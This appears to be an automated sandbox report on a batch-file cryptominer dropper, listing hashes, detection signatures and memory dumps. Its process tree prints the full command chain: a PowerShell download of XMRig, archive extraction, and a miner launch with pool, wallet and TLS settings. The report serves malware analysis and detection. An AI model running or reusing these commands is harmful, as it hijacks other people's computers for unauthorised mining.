Analysis

  • max time kernel
    1792s
  • max time network
    1785s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5096
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4444
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3992

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3992-146-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-168-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-187-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-186-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-185-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-184-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-183-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-182-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-181-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-148-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-180-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-179-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-178-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-177-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-176-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-119-0x0000021C41420000-0x0000021C41440000-memory.dmp

    Filesize

    128KB

  • memory/3992-120-0x0000021C41470000-0x0000021C41490000-memory.dmp

    Filesize

    128KB

  • memory/3992-121-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-124-0x0000021C42D60000-0x0000021C42D80000-memory.dmp

    Filesize

    128KB

  • memory/3992-123-0x0000021C42D40000-0x0000021C42D60000-memory.dmp

    Filesize

    128KB

  • memory/3992-122-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-125-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-175-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-128-0x0000021C42D60000-0x0000021C42D80000-memory.dmp

    Filesize

    128KB

  • memory/3992-127-0x0000021C42D40000-0x0000021C42D60000-memory.dmp

    Filesize

    128KB

  • memory/3992-129-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-130-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-131-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-132-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-133-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-134-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-135-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-136-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-137-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-138-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-139-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-140-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-141-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-142-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-143-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-144-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-145-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-126-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-174-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-173-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-149-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-150-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-151-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-152-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-153-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-154-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-155-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-156-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-157-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-158-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-159-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-160-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-161-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-162-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-163-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-164-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-165-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-166-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-167-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-147-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-169-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-170-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-171-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/3992-172-0x00007FF678360000-0x00007FF678E63000-memory.dmp

    Filesize

    11.0MB

  • memory/4444-92-0x0000024C54600000-0x0000024C5460A000-memory.dmp

    Filesize

    40KB

  • memory/4444-43-0x0000024C543B0000-0x0000024C543C0000-memory.dmp

    Filesize

    64KB

  • memory/4444-42-0x0000024C543B0000-0x0000024C543C0000-memory.dmp

    Filesize

    64KB

  • memory/4444-116-0x00007FFD57EF0000-0x00007FFD588DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4444-79-0x0000024C54620000-0x0000024C54632000-memory.dmp

    Filesize

    72KB

  • memory/4444-41-0x00007FFD57EF0000-0x00007FFD588DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4444-66-0x0000024C543B0000-0x0000024C543C0000-memory.dmp

    Filesize

    64KB

  • memory/5096-26-0x00007FFD57EF0000-0x00007FFD588DC000-memory.dmp

    Filesize

    9.9MB

  • memory/5096-9-0x00000269BA100000-0x00000269BA110000-memory.dmp

    Filesize

    64KB

  • memory/5096-25-0x00000269BA100000-0x00000269BA110000-memory.dmp

    Filesize

    64KB

  • memory/5096-10-0x00000269BA460000-0x00000269BA4D6000-memory.dmp

    Filesize

    472KB

  • memory/5096-4-0x00000269BA2B0000-0x00000269BA2D2000-memory.dmp

    Filesize

    136KB

  • memory/5096-6-0x00007FFD57EF0000-0x00007FFD588DC000-memory.dmp

    Filesize

    9.9MB

  • memory/5096-27-0x00000269BA100000-0x00000269BA110000-memory.dmp

    Filesize

    64KB

  • memory/5096-8-0x00000269BA100000-0x00000269BA110000-memory.dmp

    Filesize

    64KB

  • memory/5096-28-0x00000269BA100000-0x00000269BA110000-memory.dmp

    Filesize

    64KB

  • memory/5096-33-0x00007FFD57EF0000-0x00007FFD588DC000-memory.dmp

    Filesize

    9.9MB